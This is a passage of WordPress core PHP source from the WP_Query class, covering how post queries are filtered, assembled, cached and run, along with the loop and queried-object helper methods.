			 * @param string   $orderby The ORDER BY clause of the query.
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$orderby = apply_filters_ref_array( 'posts_orderby', array( $orderby, &$this ) );

			/**
			 * Filters the DISTINCT clause of the query.
			 *
			 * @since 2.1.0
			 *
			 * @param string   $distinct The DISTINCT clause of the query.
			 * @param WP_Query $query    The WP_Query instance (passed by reference).
			 */
			$distinct = apply_filters_ref_array( 'posts_distinct', array( $distinct, &$this ) );

			/**
			 * Filters the LIMIT clause of the query.
			 *
			 * @since 2.1.0
			 *
			 * @param string   $limits The LIMIT clause of the query.
			 * @param WP_Query $query  The WP_Query instance (passed by reference).
			 */
			$limits = apply_filters_ref_array( 'post_limits', array( $limits, &$this ) );

			/**
			 * Filters the SELECT clause of the query.
			 *
			 * @since 2.1.0
			 *
			 * @param string   $fields The SELECT clause of the query.
			 * @param WP_Query $query  The WP_Query instance (passed by reference).
			 */
			$fields = apply_filters_ref_array( 'posts_fields', array( $fields, &$this ) );

			/**
			 * Filters all query clauses at once, for convenience.
			 *
			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
			 * fields (SELECT), and LIMIT clauses.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $clauses {
			 *     Associative array of the clauses for the query.
			 *
			 *     @type string $where    The WHERE clause of the query.
			 *     @type string $groupby  The GROUP BY clause of the query.
			 *     @type string $join     The JOIN clause of the query.
			 *     @type string $orderby  The ORDER BY clause of the query.
			 *     @type string $distinct The DISTINCT clause of the query.
			 *     @type string $fields   The SELECT clause of the query.
			 *     @type string $limits   The LIMIT clause of the query.
			 * }
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$clauses = (array) apply_filters_ref_array( 'posts_clauses', array( compact( $pieces ), &$this ) );

			$where    = isset( $clauses['where'] ) ? $clauses['where'] : '';
			$groupby  = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';
			$join     = isset( $clauses['join'] ) ? $clauses['join'] : '';
			$orderby  = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
			$distinct = isset( $clauses['distinct'] ) ? $clauses['distinct'] : '';
			$fields   = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
			$limits   = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		}

		/**
		 * Fires to announce the query's current selection parameters.
		 *
		 * For use by caching plugins.
		 *
		 * @since 2.3.0
		 *
		 * @param string $selection The assembled selection query.
		 */
		do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join );

		/*
		 * Filters again for the benefit of caching plugins.
		 * Regular plugins should use the hooks above.
		 */
		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the WHERE clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $where The WHERE clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$where = apply_filters_ref_array( 'posts_where_request', array( $where, &$this ) );

			/**
			 * Filters the GROUP BY clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $groupby The GROUP BY clause of the query.
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$groupby = apply_filters_ref_array( 'posts_groupby_request', array( $groupby, &$this ) );

			/**
			 * Filters the JOIN clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $join  The JOIN clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$join = apply_filters_ref_array( 'posts_join_request', array( $join, &$this ) );

			/**
			 * Filters the ORDER BY clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $orderby The ORDER BY clause of the query.
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$orderby = apply_filters_ref_array( 'posts_orderby_request', array( $orderby, &$this ) );

			/**
			 * Filters the DISTINCT clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $distinct The DISTINCT clause of the query.
			 * @param WP_Query $query    The WP_Query instance (passed by reference).
			 */
			$distinct = apply_filters_ref_array( 'posts_distinct_request', array( $distinct, &$this ) );

			/**
			 * Filters the SELECT clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $fields The SELECT clause of the query.
			 * @param WP_Query $query  The WP_Query instance (passed by reference).
			 */
			$fields = apply_filters_ref_array( 'posts_fields_request', array( $fields, &$this ) );

			/**
			 * Filters the LIMIT clause of the query.
			 *
			 * For use by caching plugins.
			 *
			 * @since 2.5.0
			 *
			 * @param string   $limits The LIMIT clause of the query.
			 * @param WP_Query $query  The WP_Query instance (passed by reference).
			 */
			$limits = apply_filters_ref_array( 'post_limits_request', array( $limits, &$this ) );

			/**
			 * Filters all query clauses at once, for convenience.
			 *
			 * For use by caching plugins.
			 *
			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
			 * fields (SELECT), and LIMIT clauses.
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $clauses {
			 *     Associative array of the clauses for the query.
			 *
			 *     @type string $where    The WHERE clause of the query.
			 *     @type string $groupby  The GROUP BY clause of the query.
			 *     @type string $join     The JOIN clause of the query.
			 *     @type string $orderby  The ORDER BY clause of the query.
			 *     @type string $distinct The DISTINCT clause of the query.
			 *     @type string $fields   The SELECT clause of the query.
			 *     @type string $limits   The LIMIT clause of the query.
			 * }
			 * @param WP_Query $query  The WP_Query instance (passed by reference).
			 */
			$clauses = (array) apply_filters_ref_array( 'posts_clauses_request', array( compact( $pieces ), &$this ) );

			$where    = isset( $clauses['where'] ) ? $clauses['where'] : '';
			$groupby  = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';
			$join     = isset( $clauses['join'] ) ? $clauses['join'] : '';
			$orderby  = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
			$distinct = isset( $clauses['distinct'] ) ? $clauses['distinct'] : '';
			$fields   = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
			$limits   = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		}

		if ( ! empty( $groupby ) ) {
			$groupby = 'GROUP BY ' . $groupby;
		}
		if ( ! empty( $orderby ) ) {
			$orderby = 'ORDER BY ' . $orderby;
		}

		$found_rows = '';
		if ( ! $q['no_found_rows'] && ! empty( $limits ) ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		/*
		 * Beginning of the string is on a new line to prevent leading whitespace.
		 *
		 * The additional indentation of subsequent lines is to ensure the SQL
		 * queries are identical to those generated when splitting queries. This
		 * improves caching of the query by ensuring the same cache key is
		 * generated for the same database queries functionally.
		 *
		 * See https://core.trac.wordpress.org/ticket/56841.
		 * See https://github.com/WordPress/wordpress-develop/pull/6393#issuecomment-2088217429
		 */
		$old_request =
			"SELECT $found_rows $distinct $fields
					 FROM {$wpdb->posts} $join
					 WHERE 1=1 $where
					 $groupby
					 $orderby
					 $limits";

		$this->request = $old_request;

		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the completed SQL query before sending.
			 *
			 * @since 2.0.0
			 *
			 * @param string   $request The complete SQL query.
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$this->request = apply_filters_ref_array( 'posts_request', array( $this->request, &$this ) );
		}

		/**
		 * Filters the posts array before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default post queries.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_posts` and `max_num_pages` properties of the WP_Query object,
		 * passed to the filter by reference. If WP_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Post[]|int[]|null $posts Return an array of post data to short-circuit WP's query,
		 *                                    or null to allow WP to run its normal queries.
		 * @param WP_Query             $query The WP_Query instance (passed by reference).
		 */
		$this->posts = apply_filters_ref_array( 'posts_pre_query', array( null, &$this ) );

		/*
		 * Ensure the ID database query is able to be cached.
		 *
		 * Random queries are expected to have unpredictable results and
		 * cannot be cached. Note the space before `RAND` in the string
		 * search, that to ensure against a collision with another
		 * function.
		 *
		 * If `$fields` has been modified by the `posts_fields`,
		 * `posts_fields_request`, `post_clauses` or `posts_clauses_request`
		 * filters, then caching is disabled to prevent caching collisions.
		 */
		$id_query_is_cacheable = ! str_contains( strtoupper( $orderby ), ' RAND(' );

		$cacheable_field_values = array(
			"{$wpdb->posts}.*",
			"{$wpdb->posts}.ID, {$wpdb->posts}.post_parent",
			"{$wpdb->posts}.ID",
		);

		if ( ! in_array( $fields, $cacheable_field_values, true ) ) {
			$id_query_is_cacheable = false;
		}

		if ( $q['cache_results'] && $id_query_is_cacheable ) {
			$new_request = str_replace( $fields, "{$wpdb->posts}.*", $this->request );
			$cache_key   = $this->generate_cache_key( $q, $new_request );

			$cache_found = false;
			if ( null === $this->posts ) {
				$cached_results = wp_cache_get( $cache_key, 'post-queries', false, $cache_found );

				if ( $cached_results ) {
					/** @var int[] */
					$post_ids = array_map( 'intval', $cached_results['posts'] );

					$this->post_count    = count( $post_ids );
					$this->found_posts   = $cached_results['found_posts'];
					$this->max_num_pages = $cached_results['max_num_pages'];

					if ( 'ids' === $q['fields'] ) {
						$this->posts = $post_ids;

						return $this->posts;
					} elseif ( 'id=>parent' === $q['fields'] ) {
						_prime_post_parent_id_caches( $post_ids );

						$post_parent_cache_keys = array();
						foreach ( $post_ids as $post_id ) {
							$post_parent_cache_keys[] = 'post_parent:' . (string) $post_id;
						}

						/** @var int[] */
						$post_parents = wp_cache_get_multiple( $post_parent_cache_keys, 'posts' );

						foreach ( $post_parents as $cache_key => $post_parent ) {
							$obj              = new stdClass();
							$obj->ID          = (int) str_replace( 'post_parent:', '', $cache_key );
							$obj->post_parent = (int) $post_parent;

							$this->posts[] = $obj;
						}

						return $post_parents;
					} else {
						_prime_post_caches( $post_ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
						/** @var WP_Post[] */
						$this->posts = array_map( 'get_post', $post_ids );
					}
				}
			}
		}

		if ( 'ids' === $q['fields'] ) {
			if ( null === $this->posts ) {
				$this->posts = $wpdb->get_col( $this->request );
			}

			/** @var int[] */
			$this->posts      = array_map( 'intval', $this->posts );
			$this->post_count = count( $this->posts );
			$this->set_found_posts( $q, $limits );

			if ( $q['cache_results'] && $id_query_is_cacheable ) {
				$cache_value = array(
					'posts'         => $this->posts,
					'found_posts'   => $this->found_posts,
					'max_num_pages' => $this->max_num_pages,
				);

				wp_cache_set( $cache_key, $cache_value, 'post-queries' );
			}

			return $this->posts;
		}

		if ( 'id=>parent' === $q['fields'] ) {
			if ( null === $this->posts ) {
				$this->posts = $wpdb->get_results( $this->request );
			}

			$this->post_count = count( $this->posts );
			$this->set_found_posts( $q, $limits );

			/** @var int[] */
			$post_parents       = array();
			$post_ids           = array();
			$post_parents_cache = array();

			foreach ( $this->posts as $key => $post ) {
				$this->posts[ $key ]->ID          = (int) $post->ID;
				$this->posts[ $key ]->post_parent = (int) $post->post_parent;

				$post_parents[ (int) $post->ID ] = (int) $post->post_parent;
				$post_ids[]                      = (int) $post->ID;

				$post_parents_cache[ 'post_parent:' . (string) $post->ID ] = (int) $post->post_parent;
			}
			// Prime post parent caches, so that on second run, there is not another database query.
			wp_cache_add_multiple( $post_parents_cache, 'posts' );

			if ( $q['cache_results'] && $id_query_is_cacheable ) {
				$cache_value = array(
					'posts'         => $post_ids,
					'found_posts'   => $this->found_posts,
					'max_num_pages' => $this->max_num_pages,
				);

				wp_cache_set( $cache_key, $cache_value, 'post-queries' );
			}

			return $post_parents;
		}

		$is_unfiltered_query = $old_request == $this->request && "{$wpdb->posts}.*" === $fields;

		if ( null === $this->posts ) {
			$split_the_query = (
				$is_unfiltered_query
				&& (
					wp_using_ext_object_cache()
					|| ( ! empty( $limits ) && $q['posts_per_page'] < 500 )
				)
			);

			/**
			 * Filters whether to split the query.
			 *
			 * Splitting the query will cause it to fetch just the IDs of the found posts
			 * (and then individually fetch each post by ID), rather than fetching every
			 * complete row at once. One massive result vs. many small results.
			 *
			 * @since 3.4.0
			 * @since 6.6.0 Added the `$old_request` and `$clauses` parameters.
			 *
			 * @param bool     $split_the_query Whether or not to split the query.
			 * @param WP_Query $query           The WP_Query instance.
			 * @param string   $old_request     The complete SQL query before filtering.
			 * @param string[] $clauses {
			 *     Associative array of the clauses for the query.
			 *
			 *     @type string $where    The WHERE clause of the query.
			 *     @type string $groupby  The GROUP BY clause of the query.
			 *     @type string $join     The JOIN clause of the query.
			 *     @type string $orderby  The ORDER BY clause of the query.
			 *     @type string $distinct The DISTINCT clause of the query.
			 *     @type string $fields   The SELECT clause of the query.
			 *     @type string $limits   The LIMIT clause of the query.
			 * }
			 */
			$split_the_query = apply_filters( 'split_the_query', $split_the_query, $this, $old_request, compact( $pieces ) );

			if ( $split_the_query ) {
				// First get the IDs and then fill in the objects.

				// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
				$this->request =
					"SELECT $found_rows $distinct {$wpdb->posts}.ID
					 FROM {$wpdb->posts} $join
					 WHERE 1=1 $where
					 $groupby
					 $orderby
					 $limits";

				/**
				 * Filters the Post IDs SQL request before sending.
				 *
				 * @since 3.4.0
				 *
				 * @param string   $request The post ID request.
				 * @param WP_Query $query   The WP_Query instance.
				 */
				$this->request = apply_filters( 'posts_request_ids', $this->request, $this );

				$post_ids = $wpdb->get_col( $this->request );

				if ( $post_ids ) {
					$this->posts = $post_ids;
					$this->set_found_posts( $q, $limits );
					_prime_post_caches( $post_ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
				} else {
					$this->posts = array();
				}
			} else {
				$this->posts = $wpdb->get_results( $this->request );
				$this->set_found_posts( $q, $limits );
			}
		}

		// Convert to WP_Post objects.
		if ( $this->posts ) {
			/** @var WP_Post[] */
			$this->posts = array_map( 'get_post', $this->posts );
		}

		$unfiltered_posts = $this->posts;

		if ( $q['cache_results'] && $id_query_is_cacheable && ! $cache_found ) {
			$post_ids = wp_list_pluck( $this->posts, 'ID' );

			$cache_value = array(
				'posts'         => $post_ids,
				'found_posts'   => $this->found_posts,
				'max_num_pages' => $this->max_num_pages,
			);

			wp_cache_set( $cache_key, $cache_value, 'post-queries' );
		}

		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the raw post results array, prior to status checks.
			 *
			 * @since 2.3.0
			 *
			 * @param WP_Post[] $posts Array of post objects.
			 * @param WP_Query  $query The WP_Query instance (passed by reference).
			 */
			$this->posts = apply_filters_ref_array( 'posts_results', array( $this->posts, &$this ) );
		}

		if ( ! empty( $this->posts ) && $this->is_comment_feed && $this->is_singular ) {
			/** This filter is documented in wp-includes/query.php */
			$cjoin = apply_filters_ref_array( 'comment_feed_join', array( '', &$this ) );

			/** This filter is documented in wp-includes/query.php */
			$cwhere = apply_filters_ref_array( 'comment_feed_where', array( "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'", &$this ) );

			/** This filter is documented in wp-includes/query.php */
			$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( '', &$this ) );
			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';

			/** This filter is documented in wp-includes/query.php */
			$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );
			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';

			/** This filter is documented in wp-includes/query.php */
			$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option( 'posts_per_rss' ), &$this ) );

			$comments_request = "SELECT {$wpdb->comments}.comment_ID FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits";

			$comment_key          = md5( $comments_request );
			$comment_last_changed = wp_cache_get_last_changed( 'comment' );

			$comment_cache_key = "comment_feed:$comment_key:$comment_last_changed";
			$comment_ids       = wp_cache_get( $comment_cache_key, 'comment-queries' );
			if ( false === $comment_ids ) {
				$comment_ids = $wpdb->get_col( $comments_request );
				wp_cache_add( $comment_cache_key, $comment_ids, 'comment-queries' );
			}
			_prime_comment_caches( $comment_ids );

			// Convert to WP_Comment.
			/** @var WP_Comment[] */
			$this->comments      = array_map( 'get_comment', $comment_ids );
			$this->comment_count = count( $this->comments );
		}

		// Check post status to determine if post should be displayed.
		if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {
			$status = get_post_status( $this->posts[0] );

			if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
				$this->is_page       = false;
				$this->is_single     = true;
				$this->is_attachment = true;
			}

			// If the post_status was specifically requested, let it pass through.
			if ( ! in_array( $status, $q_status, true ) ) {
				$post_status_obj = get_post_status_object( $status );

				if ( $post_status_obj && ! $post_status_obj->public ) {
					if ( ! is_user_logged_in() ) {
						// User must be logged in to view unpublished posts.
						$this->posts = array();
					} else {
						if ( $post_status_obj->protected ) {
							// User must have edit permissions on the draft to preview.
							if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
								$this->posts = array();
							} else {
								$this->is_preview = true;
								if ( 'future' !== $status ) {
									$this->posts[0]->post_date = current_time( 'mysql' );
								}
							}
						} elseif ( $post_status_obj->private ) {
							if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {
								$this->posts = array();
							}
						} else {
							$this->posts = array();
						}
					}
				} elseif ( ! $post_status_obj ) {
					// Post status is not registered, assume it's not public.
					if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
						$this->posts = array();
					}
				}
			}

			if ( $this->is_preview && $this->posts && current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
				/**
				 * Filters the single post for preview mode.
				 *
				 * @since 2.7.0
				 *
				 * @param WP_Post  $post_preview  The Post object.
				 * @param WP_Query $query         The WP_Query instance (passed by reference).
				 */
				$this->posts[0] = get_post( apply_filters_ref_array( 'the_preview', array( $this->posts[0], &$this ) ) );
			}
		}

		// Put sticky posts at the top of the posts array.
		$sticky_posts = get_option( 'sticky_posts' );
		if ( $this->is_home && $page <= 1 && is_array( $sticky_posts ) && ! empty( $sticky_posts ) && ! $q['ignore_sticky_posts'] ) {
			$num_posts     = count( $this->posts );
			$sticky_offset = 0;
			// Loop over posts and relocate stickies to the front.
			for ( $i = 0; $i < $num_posts; $i++ ) {
				if ( in_array( $this->posts[ $i ]->ID, $sticky_posts, true ) ) {
					$sticky_post = $this->posts[ $i ];
					// Remove sticky from current position.
					array_splice( $this->posts, $i, 1 );
					// Move to front, after other stickies.
					array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) );
					// Increment the sticky offset. The next sticky will be placed at this offset.
					++$sticky_offset;
					// Remove post from sticky posts array.
					$offset = array_search( $sticky_post->ID, $sticky_posts, true );
					unset( $sticky_posts[ $offset ] );
				}
			}

			// If any posts have been excluded specifically, Ignore those that are sticky.
			if ( ! empty( $sticky_posts ) && ! empty( $q['post__not_in'] ) ) {
				$sticky_posts = array_diff( $sticky_posts, $q['post__not_in'] );
			}

			// Fetch sticky posts that weren't in the query results.
			if ( ! empty( $sticky_posts ) ) {
				$stickies = get_posts(
					array(
						'post__in'               => $sticky_posts,
						'post_type'              => $post_type,
						'post_status'            => 'publish',
						'posts_per_page'         => count( $sticky_posts ),
						'suppress_filters'       => $q['suppress_filters'],
						'cache_results'          => $q['cache_results'],
						'update_post_meta_cache' => $q['update_post_meta_cache'],
						'update_post_term_cache' => $q['update_post_term_cache'],
						'lazy_load_term_meta'    => $q['lazy_load_term_meta'],
					)
				);

				foreach ( $stickies as $sticky_post ) {
					array_splice( $this->posts, $sticky_offset, 0, array( $sticky_post ) );
					++$sticky_offset;
				}
			}
		}

		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the array of retrieved posts after they've been fetched and
			 * internally processed.
			 *
			 * @since 1.5.0
			 *
			 * @param WP_Post[] $posts Array of post objects.
			 * @param WP_Query  $query The WP_Query instance (passed by reference).
			 */
			$this->posts = apply_filters_ref_array( 'the_posts', array( $this->posts, &$this ) );
		}

		/*
		 * Ensure that any posts added/modified via one of the filters above are
		 * of the type WP_Post and are filtered.
		 */
		if ( $this->posts ) {
			$this->post_count = count( $this->posts );

			/** @var WP_Post[] */
			$this->posts = array_map( 'get_post', $this->posts );

			if ( $q['cache_results'] ) {
				if ( $is_unfiltered_query && $unfiltered_posts === $this->posts ) {
					update_post_caches( $this->posts, $post_type, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
				} else {
					$post_ids = wp_list_pluck( $this->posts, 'ID' );
					_prime_post_caches( $post_ids, $q['update_post_term_cache'], $q['update_post_meta_cache'] );
				}
			}

			/** @var WP_Post */
			$this->post = reset( $this->posts );
		} else {
			$this->post_count = 0;
			$this->posts      = array();
		}

		if ( ! empty( $this->posts ) && $q['update_menu_item_cache'] ) {
			update_menu_item_cache( $this->posts );
		}

		if ( $q['lazy_load_term_meta'] ) {
			wp_queue_posts_for_term_meta_lazyload( $this->posts );
		}

		return $this->posts;
	}

	/**
	 * Sets up the amount of found posts and the number of pages (if limit clause was used)
	 * for the current query.
	 *
	 * @since 3.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $q      Query variables.
	 * @param string $limits LIMIT clauses of the query.
	 */
	private function set_found_posts( $q, $limits ) {
		global $wpdb;

		/*
		 * Bail if posts is an empty array. Continue if posts is an empty string,
		 * null, or false to accommodate caching plugins that fill posts later.
		 */
		if ( $q['no_found_rows'] || ( is_array( $this->posts ) && ! $this->posts ) ) {
			return;
		}

		if ( ! empty( $limits ) ) {
			/**
			 * Filters the query to run for retrieving the found posts.
			 *
			 * @since 2.1.0
			 *
			 * @param string   $found_posts_query The query to run to find the found posts.
			 * @param WP_Query $query             The WP_Query instance (passed by reference).
			 */
			$found_posts_query = apply_filters_ref_array( 'found_posts_query', array( 'SELECT FOUND_ROWS()', &$this ) );

			$this->found_posts = (int) $wpdb->get_var( $found_posts_query );
		} else {
			if ( is_array( $this->posts ) ) {
				$this->found_posts = count( $this->posts );
			} else {
				if ( null === $this->posts ) {
					$this->found_posts = 0;
				} else {
					$this->found_posts = 1;
				}
			}
		}

		/**
		 * Filters the number of found posts for the query.
		 *
		 * @since 2.1.0
		 *
		 * @param int      $found_posts The number of posts found.
		 * @param WP_Query $query       The WP_Query instance (passed by reference).
		 */
		$this->found_posts = (int) apply_filters_ref_array( 'found_posts', array( $this->found_posts, &$this ) );

		if ( ! empty( $limits ) ) {
			$this->max_num_pages = (int) ceil( $this->found_posts / $q['posts_per_page'] );
		}
	}

	/**
	 * Sets up the next post and iterate current post index.
	 *
	 * @since 1.5.0
	 *
	 * @return WP_Post Next post.
	 */
	public function next_post() {

		++$this->current_post;

		/** @var WP_Post */
		$this->post = $this->posts[ $this->current_post ];
		return $this->post;
	}

	/**
	 * Sets up the current post.
	 *
	 * Retrieves the next post, sets up the post, sets the 'in the loop'
	 * property to true.
	 *
	 * @since 1.5.0
	 *
	 * @global WP_Post $post Global post object.
	 */
	public function the_post() {
		global $post;

		if ( ! $this->in_the_loop ) {
			// Only prime the post cache for queries limited to the ID field.
			$post_ids = array_filter( $this->posts, 'is_numeric' );
			// Exclude any falsey values, such as 0.
			$post_ids = array_filter( $post_ids );
			if ( $post_ids ) {
				_prime_post_caches( $post_ids, $this->query_vars['update_post_term_cache'], $this->query_vars['update_post_meta_cache'] );
			}
			$post_objects = array_map( 'get_post', $this->posts );
			update_post_author_caches( $post_objects );
		}

		$this->in_the_loop = true;
		$this->before_loop = false;

		if ( -1 == $this->current_post ) { // Loop has just started.
			/**
			 * Fires once the loop is started.
			 *
			 * @since 2.0.0
			 *
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			do_action_ref_array( 'loop_start', array( &$this ) );
		}

		$post = $this->next_post();
		$this->setup_postdata( $post );
	}

	/**
	 * Determines whether there are more posts available in the loop.
	 *
	 * Calls the {@see 'loop_end'} action when the loop is complete.
	 *
	 * @since 1.5.0
	 *
	 * @return bool True if posts are available, false if end of the loop.
	 */
	public function have_posts() {
		if ( $this->current_post + 1 < $this->post_count ) {
			return true;
		} elseif ( $this->current_post + 1 == $this->post_count && $this->post_count > 0 ) {
			/**
			 * Fires once the loop has ended.
			 *
			 * @since 2.0.0
			 *
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			do_action_ref_array( 'loop_end', array( &$this ) );
			// Do some cleaning up after the loop.
			$this->rewind_posts();
		} elseif ( 0 === $this->post_count ) {
			$this->before_loop = false;

			/**
			 * Fires if no results are found in a post query.
			 *
			 * @since 4.9.0
			 *
			 * @param WP_Query $query The WP_Query instance.
			 */
			do_action( 'loop_no_results', $this );
		}

		$this->in_the_loop = false;
		return false;
	}

	/**
	 * Rewinds the posts and resets post index.
	 *
	 * @since 1.5.0
	 */
	public function rewind_posts() {
		$this->current_post = -1;
		if ( $this->post_count > 0 ) {
			$this->post = $this->posts[0];
		}
	}

	/**
	 * Iterates current comment index and returns WP_Comment object.
	 *
	 * @since 2.2.0
	 *
	 * @return WP_Comment Comment object.
	 */
	public function next_comment() {
		++$this->current_comment;

		/** @var WP_Comment */
		$this->comment = $this->comments[ $this->current_comment ];
		return $this->comment;
	}

	/**
	 * Sets up the current comment.
	 *
	 * @since 2.2.0
	 *
	 * @global WP_Comment $comment Global comment object.
	 */
	public function the_comment() {
		global $comment;

		$comment = $this->next_comment();

		if ( 0 == $this->current_comment ) {
			/**
			 * Fires once the comment loop is started.
			 *
			 * @since 2.2.0
			 */
			do_action( 'comment_loop_start' );
		}
	}

	/**
	 * Determines whether there are more comments available.
	 *
	 * Automatically rewinds comments when finished.
	 *
	 * @since 2.2.0
	 *
	 * @return bool True if comments are available, false if no more comments.
	 */
	public function have_comments() {
		if ( $this->current_comment + 1 < $this->comment_count ) {
			return true;
		} elseif ( $this->current_comment + 1 == $this->comment_count ) {
			$this->rewind_comments();
		}

		return false;
	}

	/**
	 * Rewinds the comments, resets the comment index and comment to first.
	 *
	 * @since 2.2.0
	 */
	public function rewind_comments() {
		$this->current_comment = -1;
		if ( $this->comment_count > 0 ) {
			$this->comment = $this->comments[0];
		}
	}

	/**
	 * Sets up the WordPress query by parsing query string.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Query::parse_query() for all available arguments.
	 *
	 * @param string|array $query URL query string or array of query arguments.
	 * @return WP_Post[]|int[] Array of post objects or post IDs.
	 */
	public function query( $query ) {
		$this->init();
		$this->query      = wp_parse_args( $query );
		$this->query_vars = $this->query;
		return $this->get_posts();
	}

	/**
	 * Retrieves the currently queried object.
	 *
	 * If queried object is not set, then the queried object will be set from
	 * the category, tag, taxonomy, posts page, single post, page, or author
	 * query variable. After it is set up, it will be returned.
	 *
	 * @since 1.5.0
	 *
	 * @return WP_Term|WP_Post_Type|WP_Post|WP_User|null The queried object.
	 */
	public function get_queried_object() {
		if ( isset( $this->queried_object ) ) {
			return $this->queried_object;
		}

		$this->queried_object    = null;
		$this->queried_object_id = null;

		if ( $this->is_category || $this->is_tag || $this->is_tax ) {
			if ( $this->is_category ) {
				$cat           = $this->get( 'cat' );
				$category_name = $this->get( 'category_name' );

				if ( $cat ) {
					$term = get_term( $cat, 'category' );
				} elseif ( $category_name ) {
					$term = get_term_by( 'slug', $category_name, 'category' );
				}
			} elseif ( $this->is_tag ) {
				$tag_id = $this->get( 'tag_id' );
				$tag    = $this->get( 'tag' );

				if ( $tag_id ) {
					$term = get_term( $tag_id, 'post_tag' );
				} elseif ( $tag ) {
					$term = get_term_by( 'slug', $tag, 'post_tag' );
				}
			} else {
				// For other tax queries, grab the first term from the first clause.
				if ( ! empty( $this->tax_query->queried_terms ) ) {
					$queried_taxonomies = array_keys( $this->tax_query->queried_terms );
					$matched_taxonomy   = reset( $queried_taxonomies );
					$query              = $this->tax_query->queried_terms[ $matched_taxonomy ];

					if ( ! empty( $query['terms'] ) ) {
						if ( 'term_id' === $query['field'] ) {
							$term = get_term( reset( $query['terms'] ), $matched_taxonomy );
						} else {
							$term = get_term_by( $query['field'], reset( $query['terms'] ), $matched_taxonomy );
						}
					}
				}
			}

			if ( ! empty( $term ) && ! is_wp_error( $term ) ) {
				$this->queried_object    = $term;
				$this->queried_object_id = (int) $term->term_id;

				if ( $this->is_category && 'category' === $this->queried_object->taxonomy ) {
					_make_cat_compat( $this->queried_object );
				}
			}
		} elseif ( $this->is_post_type_archive ) {
			$post_type = $this->get( 'post_type' );

			if ( is_array( $post_type ) ) {
				$post_type = reset( $post_type );
			}

			$this->queried_object = get_post_type_object( $post_type );
		} elseif ( $this->is_posts_page ) {
			$page_for_posts = get_option( 'page_for_posts' );

			$this->queried_object    = get_post( $page_for_posts );
			$this->queried_object_id = (int) $this->queried_object->ID;
		} elseif ( $this->is_singular && ! empty( $this->post ) ) {
			$this->queried_object    = $this->post;
			$this->queried_object_id = (int) $this->post->ID;
		} elseif ( $this->is_author ) {
			$author      = (int) $this->get( 'author' );
			$author_name = $this->get( 'author_name' );

			if ( $author ) {
				$this->queried_object_id = $author;
			} elseif ( $author_name ) {
				$user = get_user_by( 'slug', $author_name );

				if ( $user ) {
					$this->queried_object_id = $user->ID;
				}
			}

			$this->queried_object = get_userdata( $this->queried_object_id );
		}

		return $this->queried_object;
	}

	/**
	 * Retrieves the ID of the currently queried object.
	 *
	 * @since 1.5.0
	 *
	 * @return int
	 */
	public function get_queried_object_id() {
		$this->get_queried_object();

		if ( isset( $this->queried_object_id ) ) {
			return $this->queried_object_id;
		}

		return 0;
	}

	/**
	 * Constructor.
	 *
	 * Sets up the WordPress query, if parameter is not empty.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Query::parse_query() for all available arguments.
	 *
